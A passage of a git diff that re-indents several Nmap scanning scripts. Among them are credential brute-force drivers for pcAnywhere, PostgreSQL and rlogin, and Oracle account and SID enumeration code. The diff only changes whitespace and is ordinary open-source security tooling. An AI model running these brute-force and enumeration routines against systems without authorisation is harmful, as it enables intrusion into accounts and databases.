checkAccount(host, port, user) - if( not(status) ) then return salt end - if ( salt ) then - count = count + #salt - end - end + -- Check for some known bad accounts + count = 0 + for i=1, 10 do + local user = get_random_string(10) + status, salt = checkAccount(host, port, user) + if( not(status) ) then return salt end + if ( salt ) then + count = count + #salt + end + end - -- It's unlikely that we hit 3 random combinations as valid users - if ( count > 60 ) then - return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10)) - end + -- It's unlikely that we hit 3 random combinations as valid users + if ( count > 60 ) then + return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10)) + end - for user in usernames do - status, salt = checkAccount(host, port, user) - if ( not(status) ) then return salt end - if ( salt and #salt == 20 ) then - table.insert( result, ("%s is a valid user account"):format(user)) - end - end + for user in usernames do + status, salt = checkAccount(host, port, user) + if ( not(status) ) then return salt end + if ( salt and #salt == 20 ) then + table.insert( result, ("%s is a valid user account"):format(user)) + end + end - if ( #result == 0 ) then - table.insert( result, "Failed to find any valid user accounts") - end + if ( #result == 0 ) then + table.insert( result, "Failed to find any valid user accounts") + end - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end diff --git a/scripts/oracle-sid-brute.nse b/scripts/oracle-sid-brute.nse index 54fc8357c..700f41cb9 100644 --- a/scripts/oracle-sid-brute.nse +++ b/scripts/oracle-sid-brute.nse @@ -55,15 +55,15 @@ local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11} -- local function create_tns_header(packetType, packetLength) - local request = bin.pack( ">SSCCS", - packetLength + 34, -- Packet Length - 0, -- Packet Checksum - tns_type[packetType], -- Packet Type - 0, -- Reserved Byte - 0 -- Header Checksum - ) + local request = bin.pack( ">SSCCS", + packetLength + 34, -- Packet Length + 0, -- Packet Checksum + tns_type[packetType], -- Packet Type + 0, -- Reserved Byte + 0 -- Header Checksum + ) - return request + return request end @@ -77,32 +77,32 @@ end -- local function create_connect_packet( host_ip, port_no, sid ) - local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")" - connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))" - connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")" - connect_data = connect_data .. "(PORT=" .. port_no .. ")))" + local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")" + connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))" + connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")" + connect_data = connect_data .. "(PORT=" .. port_no .. ")))" - local data = bin.pack(">SSSSSSSSSSICCA", - 308, -- Version - 300, -- Version (Compatibility) - 0, -- Service Options - 2048, -- Session Data Unit Size - 32767, -- Maximum Transmission Data Unit Size - 20376, -- NT Protocol Characteristics - 0, -- Line Turnaround Value - 1, -- Value of 1 in Hardware - connect_data:len(), -- Length of connect data - 34, -- Offset to connect data - 0, -- Maximum Receivable Connect Data - 1, -- Connect Flags 0 - 1, -- Connect Flags 1 - connect_data - ) + local data = bin.pack(">SSSSSSSSSSICCA", + 308, -- Version + 300, -- Version (Compatibility) + 0, -- Service Options + 2048, -- Session Data Unit Size + 32767, -- Maximum Transmission Data Unit Size + 20376, -- NT Protocol Characteristics + 0, -- Line Turnaround Value + 1, -- Value of 1 in Hardware + connect_data:len(), -- Length of connect data + 34, -- Offset to connect data + 0, -- Maximum Receivable Connect Data + 1, -- Connect Flags 0 + 1, -- Connect Flags 1 + connect_data + ) - local header = create_tns_header("CONNECT", connect_data:len() ) + local header = create_tns_header("CONNECT", connect_data:len() ) - return header .. data + return header .. data end @@ -113,61 +113,61 @@ end -- local function process_tns_packet( packet ) - local tnspacket = {} + local tnspacket = {} - -- just pull out the bare minimum to be able to match - local _ - _, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet) + -- just pull out the bare minimum to be able to match + local _ + _, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet) - return tnspacket + return tnspacket end action = function(host, port) - local found_sids = {} - local socket = nmap.new_socket() - local catch = function() socket:close() end - local try = nmap.new_try(catch) - local request, response, tns_packet - local sidfile + local found_sids = {} + local socket = nmap.new_socket() + local catch = function() socket:close() end + local try = nmap.new_try(catch) + local request, response, tns_packet + local sidfile - socket:set_timeout(5000) + socket:set_timeout(5000) - -- open the sid file specified by the user or fallback to the default oracle-sids file - local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids") + -- open the sid file specified by the user or fallback to the default oracle-sids file + local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids") - sidfile = io.open(sidfilename) + sidfile = io.open(sidfilename) - if not sidfile then - return - end + if not sidfile then + return + end - -- read sids line-by-line from the sidfile - for sid in sidfile:lines() do + -- read sids line-by-line from the sidfile + for sid in sidfile:lines() do - -- check for comments - if not sid:match("#!comment:") then + -- check for comments + if not sid:match("#!comment:") then - try(socket:connect(host, port)) - request = create_connect_packet( host.ip, port.number, sid ) - try(socket:send(request)) - response = try(socket:receive_bytes(1)) - tns_packet = process_tns_packet(response) + try(socket:connect(host, port)) + request = create_connect_packet( host.ip, port.number, sid ) + try(socket:send(request)) + response = try(socket:receive_bytes(1)) + tns_packet = process_tns_packet(response) - -- If we get anything other than REFUSE consider it as a valid SID - if tns_packet.Type ~= tns_type.REFUSE then - table.insert(found_sids, sid) - end + -- If we get anything other than REFUSE consider it as a valid SID + if tns_packet.Type ~= tns_type.REFUSE then + table.insert(found_sids, sid) + end - try(socket:close()) + try(socket:close()) - end + end - end + end - sidfile:close() + sidfile:close() - return stdnse.format_output(true, found_sids) + return stdnse.format_output(true, found_sids) end diff --git a/scripts/pcanywhere-brute.nse b/scripts/pcanywhere-brute.nse index 7716564e5..21345328e 100644 --- a/scripts/pcanywhere-brute.nse +++ b/scripts/pcanywhere-brute.nse @@ -44,118 +44,118 @@ arg_timeout = (arg_timeout or 10) * 1000 -- implements simple xor based encryption which the server expects local function encrypt(data) - local result = {} - local xor_key = 0xab - local k = 0 - if data then - result[1] = bit.bxor(string.byte(data),xor_key) - for i = 2,string.len(data) do - result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2) - end - end - return string.char(table.unpack(result)) + local result = {} + local xor_key = 0xab + local k = 0 + if data then + result[1] = bit.bxor(string.byte(data),xor_key) + for i = 2,string.len(data) do + result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2) + end + end + return string.char(table.unpack(result)) end local retry = false -- true means we found valid login and need to wait Driver = { - new = function(self, host, port) - local o = {} - setmetatable(o, self) - self.__index = self - o.host = host - o.port = port - return o - end, + new = function(self, host, port) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + return o + end, - connect = function( self ) - self.socket = nmap.new_socket() - local response - local err - local status = false + connect = function( self ) + self.socket = nmap.new_socket() + local response + local err + local status = false - stdnse.sleep(2) - -- when we hit a valid login pair, server enters some kind of locked state - -- so we need to wait for some time before trying next pair - -- variable "retry" signifies if we need to wait or this is just not pcAnywhere server - while not status do - status, err = self.socket:connect(self.host, self.port) - self.socket:set_timeout(arg_timeout) - if(not(status)) then - return false, brute.Error:new( "Couldn't connect to host: " .. err ) - end - status, err = self.socket:send(bin.pack("H","00000000")) --initial hello - status, response = self.socket:receive_bytes(0) - if not status and not retry then - break - end - stdnse.print_debug("in a loop") - stdnse.sleep(2) -- needs relatively big timeout between retries - end - if not status or string.find(response,"Please press ") == nil then - --probably not pcanywhere - stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME) - return false, brute.Error:new( "Probably not pcAnywhere." ) - end - retry = false - status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode - status, response = self.socket:receive_bytes(0) + stdnse.sleep(2) + -- when we hit a valid login pair, server enters some kind of locked state + -- so we need to wait for some time before trying next pair + -- variable "retry" signifies if we need to wait or this is just not pcAnywhere server + while not status do + status, err = self.socket:connect(self.host, self.port) + self.socket:set_timeout(arg_timeout) + if(not(status)) then + return false, brute.Error:new( "Couldn't connect to host: " .. err ) + end + status, err = self.socket:send(bin.pack("H","00000000")) --initial hello + status, response = self.socket:receive_bytes(0) + if not status and not retry then + break + end + stdnse.print_debug("in a loop") + stdnse.sleep(2) -- needs relatively big timeout between retries + end + if not status or string.find(response,"Please press ") == nil then + --probably not pcanywhere + stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME) + return false, brute.Error:new( "Probably not pcAnywhere." ) + end + retry = false + status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode + status, response = self.socket:receive_bytes(0) - status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I - status, response = self.socket:receive_bytes(0) + status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I + status, response = self.socket:receive_bytes(0) - status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II - status, response = self.socket:receive_bytes(0) - if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then - stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME) - return false, brute.Error:new( "Handshake failed." ) - end - return true - end, + status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II + status, response = self.socket:receive_bytes(0) + if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then + stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME) + return false, brute.Error:new( "Handshake failed." ) + end + return true + end, - login = function (self, user, pass) - local response - local err - local status - stdnse.print_debug( "Trying %s/%s ...", user, pass ) - -- send username and password - -- both are prefixed with 0x06, size and are encrypted - status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username - status, response = self.socket:receive_bytes(0) - if not status or string.find(response,"Enter password") == nil then - stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME) - return false, brute.Error:new( "Sending username failed." ) - end - -- send password - status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password - status, response = self.socket:receive_bytes(0) - if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then - stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME) - return false, brute.Error:new( "Incorrect username or password." ) - end + login = function (self, user, pass) + local response + local err + local status + stdnse.print_debug( "Trying %s/%s ...", user, pass ) + -- send username and password + -- both are prefixed with 0x06, size and are encrypted + status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username + status, response = self.socket:receive_bytes(0) + if not status or string.find(response,"Enter password") == nil then + stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME) + return false, brute.Error:new( "Sending username failed." ) + end + -- send password + status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password + status, response = self.socket:receive_bytes(0) + if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then + stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME) + return false, brute.Error:new( "Incorrect username or password." ) + end - if status then - retry = true -- now the server is in "locked mode", we need to retry next connection a few times - return true, brute.Account:new( user, pass, creds.State.VALID) - end - return false,brute.Error:new( "Incorrect password" ) - end, + if status then + retry = true -- now the server is in "locked mode", we need to retry next connection a few times + return true, brute.Account:new( user, pass, creds.State.VALID) + end + return false,brute.Error:new( "Incorrect password" ) + end, - disconnect = function( self ) - self.socket:close() - return true - end + disconnect = function( self ) + self.socket:close() + return true + end } action = function( host, port ) - local status, result - local engine = brute.Engine:new(Driver, host, port) - engine.options.script_name = SCRIPT_NAME - engine.max_threads = 1 -- pcAnywhere supports only one login at a time - status, result = engine:start() + local status, result + local engine = brute.Engine:new(Driver, host, port) + engine.options.script_name = SCRIPT_NAME + engine.max_threads = 1 -- pcAnywhere supports only one login at a time + status, result = engine:start() - return result + return result end diff --git a/scripts/pgsql-brute.nse b/scripts/pgsql-brute.nse index 3e166226e..8cfb14b39 100644 --- a/scripts/pgsql-brute.nse +++ b/scripts/pgsql-brute.nse @@ -53,113 +53,113 @@ portrule = shortport.port_or_service(5432, "postgresql") -- @param ssl boolean, if true connect using SSL -- @return socket connected to server local function connectSocket(host, port, ssl) - local socket = nmap.new_socket() + local socket = nmap.new_socket() - -- set a reasonable timeout value - socket:set_timeout(5000) - socket:connect(host, port) + -- set a reasonable timeout value + socket:set_timeout(5000) + socket:connect(host, port) - -- let's be responsible and avoid sending communication in the clear - if ( ssl ) then - local status = pgsql.requestSSL(socket) - if ( status ) then - socket:reconnect_ssl() - end - end - return socket + -- let's be responsible and avoid sending communication in the clear + if ( ssl ) then + local status = pgsql.requestSSL(socket) + if ( status ) then + socket:reconnect_ssl() + end + end + return socket end action = function( host, port ) - local status, response, ssl_enable, output - local result, response, status, nossl = {}, nil, nil, false - local valid_accounts = {} - local pg + local status, response, ssl_enable, output + local result, response, status, nossl = {}, nil, nil, false + local valid_accounts = {} + local pg - if ( nmap.registry.args['pgsql.version'] ) then - if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then - pg = pgsql.v2 - elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then - pg = pgsql.v3 - else - stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version']) - return - end - else - pg = pgsql.detectVersion(host, port ) - end + if ( nmap.registry.args['pgsql.version'] ) then + if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then + pg = pgsql.v2 + elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then + pg = pgsql.v3 + else + stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version']) + return + end + else + pg = pgsql.detectVersion(host, port ) + end - local usernames, passwords - status, usernames = unpwdb.usernames() - if ( not(status) ) then return end + local usernames, passwords + status, usernames = unpwdb.usernames() + if ( not(status) ) then return end - status, passwords = unpwdb.passwords() - if ( not(status) ) then return end + status, passwords = unpwdb.passwords() + if ( not(status) ) then return end - -- If the user explicitly does not disable SSL, enforce it - if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or - ( nmap.registry.args['pgsql.nossl'] == '1' ) ) then - nossl = true - end + -- If the user explicitly does not disable SSL, enforce it + if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or + ( nmap.registry.args['pgsql.nossl'] == '1' ) ) then + nossl = true + end - for username in usernames do - ssl_enable = not(nossl) - for password in passwords do - stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) ) - local socket = connectSocket( host, port, ssl_enable ) - status, response = pg.sendStartup(socket, username, username) + for username in usernames do + ssl_enable = not(nossl) + for password in passwords do + stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) ) + local socket = connectSocket( host, port, ssl_enable ) + status, response = pg.sendStartup(socket, username, username) - -- if nossl is enforced by the user, we're done - if ( not(status) and nossl ) then - break - end + -- if nossl is enforced by the user, we're done + if ( not(status) and nossl ) then + break + end - -- SSL failed, this can occure due to: - -- 1. The server does not do SSL - -- 2. SSL was denied on a per host or network level - -- - -- Attempt SSL connection - if ( not(status) ) then - socket:close() - ssl_enable = false - socket = connectSocket( host, port, ssl_enable ) - status, response = pg.sendStartup(socket, username, username) - if (not(status)) then - if ( response:match("no pg_hba.conf entry for host") ) then - stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username ) - break - else - stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response ) - break - end - end - end + -- SSL failed, this can occure due to: + -- 1. The server does not do SSL + -- 2. SSL was denied on a per host or network level + -- + -- Attempt SSL connection + if ( not(status) ) then + socket:close() + ssl_enable = false + socket = connectSocket( host, port, ssl_enable ) + status, response = pg.sendStartup(socket, username, username) + if (not(status)) then + if ( response:match("no pg_hba.conf entry for host") ) then + stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username ) + break + else + stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response ) + break + end + end + end - -- Do not attempt to authenticate if authentication type is trusted - if ( response.authtype ~= pgsql.AuthenticationType.Success ) then - status, response = pg.loginRequest( socket, response, username, password, response.salt) - end + -- Do not attempt to authenticate if authentication type is trusted + if ( response.authtype ~= pgsql.AuthenticationType.Success ) then + status, response = pg.loginRequest( socket, response, username, password, response.salt) + end - if status then - -- Add credentials for other pgsql scripts to use - if nmap.registry.pgsqlusers == nil then - nmap.registry.pgsqlusers = {} - end - nmap.registry.pgsqlusers[username]=password - if ( response.authtype ~= pgsql.AuthenticationType.Success ) then - table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "" ) ) - else - table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) ) - end - break - end - socket:close() - end - passwords("reset") - end + if status then + -- Add credentials for other pgsql scripts to use + if nmap.registry.pgsqlusers == nil then + nmap.registry.pgsqlusers = {} + end + nmap.registry.pgsqlusers[username]=password + if ( response.authtype ~= pgsql.AuthenticationType.Success ) then + table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "" ) ) + else + table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) ) + end + break + end + socket:close() + end + passwords("reset") + end - output = stdnse.format_output(true, valid_accounts) + output = stdnse.format_output(true, valid_accounts) - return output + return output end diff --git a/scripts/rdp-enum-encryption.nse b/scripts/rdp-enum-encryption.nse index b2b0d2c90..05a9cc0e4 100644 --- a/scripts/rdp-enum-encryption.nse +++ b/scripts/rdp-enum-encryption.nse @@ -41,123 +41,123 @@ categories = {"safe", "discovery"} portrule = shortport.port_or_service(3389, "ms-wbt-server") local function enum_protocols(host, port) - local PROTOCOLS = { - ["Native RDP"] = 0, - ["SSL"] = 1, - ["CredSSP"] = 3 - } + local PROTOCOLS = { + ["Native RDP"] = 0, + ["SSL"] = 1, + ["CredSSP"] = 3 + } - local ERRORS = { - [1] = "SSL_REQUIRED_BY_SERVER", - [2] = "SSL_NOT_ALLOWED_BY_SERVER", - [3] = "SSL_CERT_NOT_ON_SERVER", - [4] = "INCONSISTENT_FLAGS", - [5] = "HYBRID_REQUIRED_BY_SERVER" - } + local ERRORS = { + [1] = "SSL_REQUIRED_BY_SERVER", + [2] = "SSL_NOT_ALLOWED_BY_SERVER", + [3] = "SSL_CERT_NOT_ON_SERVER", + [4] = "INCONSISTENT_FLAGS", + [5] = "HYBRID_REQUIRED_BY_SERVER" + } - local res_proto = { name = "Security layer" } + local res_proto = { name = "Security layer" } - for k, v in pairs(PROTOCOLS) do - local comm = rdp.Comm:new(host, port) - if ( not(comm:connect()) ) then - return false, "ERROR: Failed to connect to server" - end - local cr = rdp.Request.ConnectionRequest:new(v) - local status, response = comm:exch(cr) - comm:close() - if ( not(status) ) then - return false, response - end + for k, v in pairs(PROTOCOLS) do + local comm = rdp.Comm:new(host, port) + if ( not(comm:connect()) ) then + return false, "ERROR: Failed to connect to server" + end + local cr = rdp.Request.ConnectionRequest:new(v) + local status, response = comm:exch(cr) + comm:close() + if ( not(status) ) then + return false, response + end - local pos, success = bin.unpack("C", response.itut.data) - if ( success == 2 ) then - table.insert(res_proto, ("%s: SUCCESS"):format(k)) - elseif ( nmap.debugging() > 0 ) then - local pos, err = bin.unpack("C", response.itut.data, 5) - if ( err > 0 ) then - table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown")) - else - table.insert(res_proto, ("%s: FAILED"):format(k)) - end - end - end - table.sort(res_proto) - return true, res_proto + local pos, success = bin.unpack("C", response.itut.data) + if ( success == 2 ) then + table.insert(res_proto, ("%s: SUCCESS"):format(k)) + elseif ( nmap.debugging() > 0 ) then + local pos, err = bin.unpack("C", response.itut.data, 5) + if ( err > 0 ) then + table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown")) + else + table.insert(res_proto, ("%s: FAILED"):format(k)) + end + end + end + table.sort(res_proto) + return true, res_proto end local function enum_ciphers(host, port) - local CIPHERS = { - { ["40-bit RC4"] = 1 }, - { ["56-bit RC4"] = 8 }, - { ["128-bit RC4"] = 2 }, - { ["FIPS 140-1"] = 16 } - } + local CIPHERS = { + { ["40-bit RC4"] = 1 }, + { ["56-bit RC4"] = 8 }, + { ["128-bit RC4"] = 2 }, + { ["FIPS 140-1"] = 16 } + } - local ENC_LEVELS = { - [0] = "None", - [1] = "Low", - [2] = "Client Compatible", - [3] = "High", - [4] = "FIPS Compliant", - } + local ENC_LEVELS = { + [0] = "None", + [1] = "Low", + [2] = "Client Compatible", + [3] = "High", + [4] = "FIPS Compliant", + } - local res_ciphers = {} + local res_ciphers = {} - local function get_ordered_ciphers() - local i = 0 - return function() - i = i + 1 - if ( not(CIPHERS[i]) ) then return end - for k,v in pairs(CIPHERS[i]) do - return k, v - end - end - end + local function get_ordered_ciphers() + local i = 0 + return function() + i = i + 1 + if ( not(CIPHERS[i]) ) then return end + for k,v in pairs(CIPHERS[i]) do + return k, v + end + end + end - for k, v in get_ordered_ciphers() do - local comm = rdp.Comm:new(host, port) - if ( not(comm:connect()) ) then - return false, "ERROR: Failed to connect to server" - end + for k, v in get_ordered_ciphers() do + local comm = rdp.Comm:new(host, port) + if ( not(comm:connect()) ) then + return false, "ERROR: Failed to connect to server" + end - local cr = rdp.Request.ConnectionRequest:new() - local status, response = comm:exch(cr) - if ( not(status) ) then - break - end + local cr = rdp.Request.ConnectionRequest:new() + local status, response = comm:exch(cr) + if ( not(status) ) then + break + end - local msc = rdp.Request.MCSConnectInitial:new(v) - local status, response = comm:exch(msc) - comm:close() - if ( status ) then - local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8) - local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4) - if ( enc_cipher == v ) then - table.insert(res_ciphers, ("%s: SUCCESS"):format(k)) - end - res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown") - elseif ( nmap.debugging() > 0 ) then - table.insert(res_ciphers, ("%s: FAILURE"):format(k)) - end - end - return true, res_ciphers + local msc = rdp.Request.MCSConnectInitial:new(v) + local status, response = comm:exch(msc) + comm:close() + if ( status ) then + local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8) + local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4) + if ( enc_cipher == v ) then + table.insert(res_ciphers, ("%s: SUCCESS"):format(k)) + end + res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown") + elseif ( nmap.debugging() > 0 ) then + table.insert(res_ciphers, ("%s: FAILURE"):format(k)) + end + end + return true, res_ciphers end action = function(host, port) - local result = {} + local result = {} - local status, res_proto = enum_protocols(host, port) - if ( not(status) ) then - return res_proto - end + local status, res_proto = enum_protocols(host, port) + if ( not(status) ) then + return res_proto + end - local status, res_ciphers = enum_ciphers(host, port) - if ( not(status) ) then - return res_ciphers - end + local status, res_ciphers = enum_ciphers(host, port) + if ( not(status) ) then + return res_ciphers + end - table.insert(result, res_proto) - table.insert(result, res_ciphers) - return stdnse.format_output(true, result) -end \ No newline at end of file + table.insert(result, res_proto) + table.insert(result, res_ciphers) + return stdnse.format_output(true, result) +end diff --git a/scripts/reverse-index.nse b/scripts/reverse-index.nse index 45da4c28d..78c551600 100644 --- a/scripts/reverse-index.nse +++ b/scripts/reverse-index.nse @@ -37,20 +37,20 @@ postrule = function() return true end hostrule = function() return true end hostaction = function(host) - nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} - for _, s in ipairs({"open", "open|filtered"}) do - for _, p in ipairs({"tcp","udp"}) do - local host, port = host, nil - local db = nmap.registry[SCRIPT_NAME] - while( true ) do - port = nmap.get_ports(host, port, p, s) - if ( not(port) ) then break end - db[p] = db[p] or {} - db[p][port.number] = db[p][port.number] or {} - table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } ) - end - end - end + nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} + for _, s in ipairs({"open", "open|filtered"}) do + for _, p in ipairs({"tcp","udp"}) do + local host, port = host, nil + local db = nmap.registry[SCRIPT_NAME] + while( true ) do + port = nmap.get_ports(host, port, p, s) + if ( not(port) ) then break end + db[p] = db[p] or {} + db[p][port.number] = db[p][port.number] or {} + table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } ) + end + end + end end -- @@ -71,30 +71,30 @@ end -- | 192.168.0.60 -- |_ 192.168.0.70 local function createVerticalResults(db) - local results = {} - for proto, ports in pairs(db) do - for port, entries in pairs(ports) do - local result_entries = {} - for _, entry in ipairs(entries) do - table.insert(result_entries, entry.ip) - end - table.sort(result_entries) - result_entries.name = ("%d/%s"):format(port, proto) - table.insert(results, result_entries) - table.sort(results, - function(a,b) - local a_port, a_proto = a.name:match("^(%d+)/(%w*)") - local b_port, b_proto = b.name:match("^(%d+)/(%w*)") - if ( a_proto == b_proto ) then - return ( tonumber(a_port) ) < ( tonumber(b_port) ) - else - return a_proto < b_proto - end - end - ) - end - end - return results + local results = {} + for proto, ports in pairs(db) do + for port, entries in pairs(ports) do + local result_entries = {} + for _, entry in ipairs(entries) do + table.insert(result_entries, entry.ip) + end + table.sort(result_entries) + result_entries.name = ("%d/%s"):format(port, proto) + table.insert(results, result_entries) + table.sort(results, + function(a,b) + local a_port, a_proto = a.name:match("^(%d+)/(%w*)") + local b_port, b_proto = b.name:match("^(%d+)/(%w*)") + if ( a_proto == b_proto ) then + return ( tonumber(a_port) ) < ( tonumber(b_port) ) + else + return a_proto < b_proto + end + end + ) + end + end + return results end -- @@ -107,48 +107,48 @@ end -- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1 -- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1 local function createHorizontalResults(db) - local results = {} + local results = {} - for proto, ports in pairs(db) do - for port, entries in pairs(ports) do - local result_entries = {} - for _, entry in ipairs(entries) do - table.insert(result_entries, entry.ip) - end - local ips = stdnse.strjoin(", ", result_entries) - local str = ("%d/%s: %s"):format(port, proto, ips) - table.insert(results, str) - table.sort(results, - function(a,b) - local a_port, a_proto = a:match("^(%d+)/(%w*):") - local b_port, b_proto = b:match("^(%d+)/(%w*):") - if ( a_proto == b_proto ) then - return ( tonumber(a_port) ) < ( tonumber(b_port) ) - else - return a_proto < b_proto - end - end - ) - end - end - return results + for proto, ports in pairs(db) do + for port, entries in pairs(ports) do + local result_entries = {} + for _, entry in ipairs(entries) do + table.insert(result_entries, entry.ip) + end + local ips = stdnse.strjoin(", ", result_entries) + local str = ("%d/%s: %s"):format(port, proto, ips) + table.insert(results, str) + table.sort(results, + function(a,b) + local a_port, a_proto = a:match("^(%d+)/(%w*):") + local b_port, b_proto = b:match("^(%d+)/(%w*):") + if ( a_proto == b_proto ) then + return ( tonumber(a_port) ) < ( tonumber(b_port) ) + else + return a_proto < b_proto + end + end + ) + end + end + return results end postaction = function() - local db = nmap.registry[SCRIPT_NAME] - if ( db == nil ) then - return false - end + local db = nmap.registry[SCRIPT_NAME] + if ( db == nil ) then + return false + end - local results - local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal" + local results + local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal" - if ( mode == 'horizontal' ) then - results = createHorizontalResults(db) - else - results = createVerticalResults(db) - end - return stdnse.format_output(true, results) + if ( mode == 'horizontal' ) then + results = createHorizontalResults(db) + else + results = createVerticalResults(db) + end + return stdnse.format_output(true, results) end local Actions = { diff --git a/scripts/rlogin-brute.nse b/scripts/rlogin-brute.nse index 5b6c3c921..320fc6977 100644 --- a/scripts/rlogin-brute.nse +++ b/scripts/rlogin-brute.nse @@ -37,105 +37,105 @@ portrule = shortport.port_or_service(513, "login", "tcp") -- The rlogin Driver, check the brute.lua documentation for more details Driver = { - -- creates a new Driver instance - -- @param host table as received by the action function - -- @param port table as received by the action function - -- @return o instance of Driver - new = function(self, host, port, options) - local o = { host = host, port = port, timeout = options.timeout } - setmetatable(o, self) - self.__index = self - return o - end, + -- creates a new Driver instance + -- @param host table as received by the action function + -- @param port table as received by the action function + -- @return o instance of Driver + new = function(self, host, port, options) + local o = { host = host, port = port, timeout = options.timeout } + setmetatable(o, self) + self.__index = self + return o + end, - -- connects to the rlogin service - -- it sets the source port to a random value between 513 and 1024 - connect = function(self) + -- connects to the rlogin service + -- it sets the source port to a random value between 513 and 1024 + connect = function(self) - local status + local status - self.socket = nmap.new_socket() - -- apparently wee need a source port below 1024 - -- this approach is not very elegant as it causes address already in - -- use errors when the same src port is hit in a short time frame. - -- hopefully the retry count should take care of this as a retry - -- should choose a new random port as source. - local srcport = math.random(513, 1024) - self.socket:bind(nil, srcport) - self.socket:set_timeout(self.timeout) - local err - status, err = self.socket:connect(self.host, self.port) + self.socket = nmap.new_socket() + -- apparently wee need a source port below 1024 + -- this approach is not very elegant as it causes address already in + -- use errors when the same src port is hit in a short time frame. + -- hopefully the retry count should take care of this as a retry + -- should choose a new random port as source. + local srcport = math.random(513, 1024) + self.socket:bind(nil, srcport) + self.socket:set_timeout(self.timeout) + local err + status, err = self.socket:connect(self.host, self.port) - if ( status ) then - local lport, _ - status, _, lport = self.socket:get_info() - if (not(status) ) then - return false, "failed to retrieve socket status" - end - else - self.socket:close() - end - if ( not(status) ) then - stdnse.print_debug(3, "ERROR: failed to connect to server") - end - return status - end, + if ( status ) then + local lport, _ + status, _, lport = self.socket:get_info() + if (not(status) ) then + return false, "failed to retrieve socket status" + end + else + self.socket:close() + end + if ( 